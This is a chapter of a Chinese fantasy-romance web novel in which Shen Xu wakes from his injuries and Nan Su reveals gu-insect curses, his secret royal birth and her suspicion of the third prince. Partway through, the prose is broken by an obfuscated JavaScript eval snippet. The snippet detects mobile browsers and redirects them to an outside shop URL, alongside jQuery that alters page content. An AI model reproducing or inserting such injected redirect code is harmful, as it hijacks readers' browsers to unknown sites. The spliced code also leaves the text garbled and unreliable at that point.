她趴在矮榻边,额头枕在自己的手臂上,呼吸轻而绵长。一缕头发从耳后滑落下来,搭在他的手背上,痒痒的。他的手不知什么时候被她握住了,掌心贴着掌心,十指交缠,像是怕他在睡梦中走丢一样。 沈序没有动。 他躺在那里,安静地看着她的睫毛。窗外有光透进来,将她的侧脸照得几乎透明,脸颊上有一道被衣褶压出来的红印,嘴角微微抿着,像是在梦里也在想什么心事。手背上那些银色的纹路在日光下比夜晚淡了一些,但还是清晰可见,从指尖一直蔓延到袖口里面。 他看了很久。 然后他试着动了动手指。指尖微微弯曲了一下,力气恢复了大半,但胸口和后背还是隐隐作痛,像是有什么东西在里面愈合。他低头看了一眼自己的伤处。 左肩和胸口缠着崭新的布条,布条上有一股浓烈的草药味,辛辣而清冽,不是他闻过的任何一种药。后背那道长口子已经没有之前那么疼了,缝合的地方有些发痒,那是伤口在长肉。 他试着撑起身子。 “别动。” 南夙的声音闷闷的,从手臂里传出来。她没有抬头,但握着他的那只手收紧了一些。 “你醒了多久?”沈序问,声音有些哑。 “你睫毛动的时候我就醒了。” 沈序沉默了一下。“我睫毛动了多久?” “半炷香。”南夙终于抬起头,琉璃色的眼睛直直地看着他。她的眼下有淡淡的青痕,像是很久没有睡好,但眼神清明得像深秋的湖水。“你盯着我看了半炷香。” “……你一直在装睡?” “嗯。”南夙理直气壮地应了一声,伸手探了探他的额头。掌心贴上他皮肤的时候,银色的光芒从她的指尖渗出来,钻入他的眉心。她的眉头微微蹙了一下,又松开了。“烧退了。伤口也在愈合。你觉得怎么样?” “还好。”沈序说。他侧过头,目光落在她手背上那些银色的纹路上,停了一瞬,又移开了。他没有问。他从来不是一个在第一时间发问的人。他习惯先看,先听,先想,然后才开口。 南夙知道他的习惯。她等了一会儿,确认他没有立刻昏过去的危险,才站起身,从火塘边端了一碗一直温着的米粥过来。米粥熬得很稠,里面加了一些切碎的肉末和野菜,是南陌早上送来的。 “先吃东西。”她说,“吃完我有话跟你说。很多话。” 沈序接过碗,没有逞强说自己来。他确实没什么力气,手指握着勺子的手都在微微发抖。南夙看了一会儿,叹了口气,把碗拿回来,舀了一勺送到他嘴边。 “张嘴。” 沈序看了她一眼。 “看什么看,张嘴。” 沈序张了嘴。 米粥入口的时候,他尝到了一种奇异的味道——不是米粥本身的味道,而是煮粥的水有一种清冽的甘甜,像是从很深的地底涌上来的。他咽下去之后,觉得胃里暖暖的,那股暖意顺着血脉蔓延到四肢,连指尖都热了起来。 “这粥……”他低声说。 “红谷的泉水熬的。”南夙又舀了一勺,“对恢复身体有好处。” 南夙一口一口喂着,沈序乖乖一口一口地吃完整碗粥。南夙把空碗放在一边,重新坐回矮榻边,沉默了一会儿。没一会,他就发现了南夙的不对劲,她一直低着头,从沈序醒来同他说过那几句话之后,就没有再开过口。 “怎么了?”沈序伸手捧起她的脸,果然见她满脸泪痕。 他慌忙将南夙搂进怀里,轻轻拍着她的后背,语气很温柔,“怎么哭了?是不是我醒得太晚,让你吃苦了?” 南夙不说话,只是摇摇头。 沈序忽然靠近,轻轻吻去她的泪痕,“发生了什么事,跟我说好不好,不论发生什么事都有我呢,我们说过会永远陪在对方身边的,对不对?” 她的话让南夙更加伤心,彻底忍不住,钻进沈序的怀里痛哭起来。 沈序虽不知道这几日发生了什么,去知晓这时候南夙最需要的是什么,他使使劲一把将南夙抱上床,将她抱在怀里。他的头轻靠在南夙的头上,手拍着她的后背。 对南夙来说,这就是最好的安慰了。 “你昏迷了三天。”待发泄完心里的苦闷,南夙复又抬起头来,一双眼睛哭红得像是樱桃,沈序心疼地摸了摸他的眼尾。 “这三天里发生了很多事。我不知道该从哪件开始说。” “那我们从头说。”沈序说。 南夙从他怀里出来,看着他。他靠在矮榻的枕头上,脸色依然苍白,但眼神很稳,像是一块被水冲刷了许久的石头,表面磨平了,但内核比谁都硬。 “好。”她说,“从头说。” 她从落水之后被人救起开始讲。讲红谷,讲这个与世隔绝的山谷,讲苗蛊三支的来历。她讲得很慢,一句一句的,像是在梳理一条被打了结的线。沈序没有说话,只是安静地听着,偶尔点一下头,表示他在听,也表示他听懂了。 讲到南陌的时候,她顿了一下。 “那个救我们的人,叫南陌。”她说,“他是红谷的村长。他——” 她停了一瞬。 “他是我舅舅。阿姎的弟弟。” 沈序的眉头微微动了一下,但没有插嘴。 “我母亲叫南忧。”南夙说这个名字的时候,声音不自觉地轻了一些,像是怕说重了会把什么东西震碎。“她是红苗的人。十四岁那年离开红谷,去寻找被带走的圣蛊。她找了很多年,走了很多地方,最后在大景找到了。圣蛊在灵诏王室体内。” 她抬起手,看着自己手背上那些银色的纹路。 “就是我体内的这一只。” 沈序的目光落在那些银色的纹路上,沉默了一瞬。 “你还记得我告诉过你,我体内的蛊是诏父下的这件事吗?” 沈序点点头。 “我体内不止这只圣蛊,还有另外一只,叫做母蛊。” “母蛊?” 南夙点头,解释道,“是诏父种入我体内的。它和圣蛊融为一体,所以这些年来我一直不知道它的存在。” 她把子母蛊的作用、子蛊种入他人体内的条件、以及子蛊一旦被激活会带来的后果,一字一句地讲给沈序听。她的声音很平静,平静得不像是在讲述发生在自己身上的事,倒像是在念一份与自己无关的卷宗。 沈序听着听着,脸色一点一点地变了。 不是恐惧,不是愤怒,而是一种更深层的、更冷的东西。像是一个人在黑暗中走了很久,忽然发现脚下的路不是天然形成的,而是被人一锹一锹挖出来的——而他一直在按照别人挖好的方向走。 “那日在险山,射中你手臂的那支箭并不是为了下蛊,只是为了将你体内的子蛊给激活。” “我体内也有子蛊?”沈序道,“那为什么这么久以来,你没有感知到?” “这就是我接下来要对你说的,你体内有另外一只蛊,舅舅说,那是阿姎的蛊,因为阿姎的蛊厉害些,所以完全压制住了你体内的子蛊。舅舅猜测,应当是阿姎在京城时认识了你的亲人,送了她这一只蛊。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17366888|196354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沈序了然点头。 “但这些都不是重点。重点是……”南夙停顿片刻,整理了下思绪,才又缓缓说道,“重点是,二皇子、韩砚他们体内都被下了子蛊。” “你也碰到了他们的血?”沈序问道。 南夙艰难地摇摇头,“没有,他们体内子蛊的引子,是你的血。” “我的?” 南夙点点头。 沈序看着她的眼睛,许久,像是读出了她眼神中的意思。 屋子里安静了很久。久到窗外的阳光从这道竹帘移到了那道竹帘,将地面上的光影切成一块一块的。 “所以,”沈序睁开眼睛,声音平静得像在说一件与自己无关的事,“我是皇子?” 南夙看着他。 “怎么可能?”沈序嘴角轻扯了一下,他明明知道,南夙不可能会在这种时候骗他,可他却还是没法接受,他从小,就是在侯府长大的,怎么可能是皇子呢? “我知道这很难以接受。”南夙搭上他的手,“但是,根据结果来看,这是事实。”她停了一下,声音变得很轻。 “你是陛下的孩子。” 沈序沉默了很长时间。 “那些皇子体内被下了子蛊,会怎么样?”他转移了话题。 南夙知晓他需要时间来接受这突如其来的身份转变,顺着他的话转移了话题。 “母蛊在我体内,杀了我,就等于杀了他们。” 她说完,沈序自然也知晓是什么意思,“你诏父想通过你,杀了大景这么多皇子?” 南夙蹙着眉,“虽然这很荒谬,但就目前的推测来看,是的。” 沈序点了点头,像是在确认一件他已经猜到的事。 “所以,那些在险山上伏击我们的人,”他说,“是你诏父派来的。” “是。”南夙说,“但我怀疑,带着面具的那个人,不是灵诏的人。” 沈序微微侧头。 “我怀疑是韩允执。”南夙道。 “三皇子?” “对。”南夙点头,“我这几日一直在想那个人会是谁,知晓我们回灵诏的事,了解我们会走险山这条路,还有,会蛊。” “他会蛊?”沈序问道。 南夙思量了一会才回道:“其实在京城时我就有怀疑过他,给韩清棠下蛊的人叫作韩执,又同他一样,都是病弱之人。但当时我并没有在他的体内感受到有蛊的存在,也就打消了对他的怀疑,直到这一次阿维入京,我知晓了一种连圣蛊都无法察觉的练蛊之法,我才又重新怀疑他,况且我们出发之前,他还特意来了一次侯府,问我要不要与他合作。不过让我更加确定是他,是因为那日在险山,他给我一种十分熟悉的感觉。醒来后我仔细想了想,发现就是他。” 一个在几个月前才被从外面找回京城的人。一个从小流落民间、没有人知道他经历过什么的人。一个体内流着皇室血脉、但没有人知道他心底向着谁的人。 韩允执被找回京城后,除了前几个月有些人试图靠近他,后来众人都发现这个皇子并未有什么上进之心,慢慢的,也就无人光顾门庭了,自然,到了后来也就没有人注意他。 没有人把他当回事。 一个在民间长大的皇子,没有母族,没有根基,没有势力。在所有人眼里,他只是一个需要被养在宫里的摆设,一个皇帝为了弥补愧疚而找回来的多余的人。 但如果他不仅仅是摆设呢? 如果他在外的那些年,不仅仅是在流浪呢? 而且现在南夙基本上能肯定,他在外的那些年,应当就是在灵诏。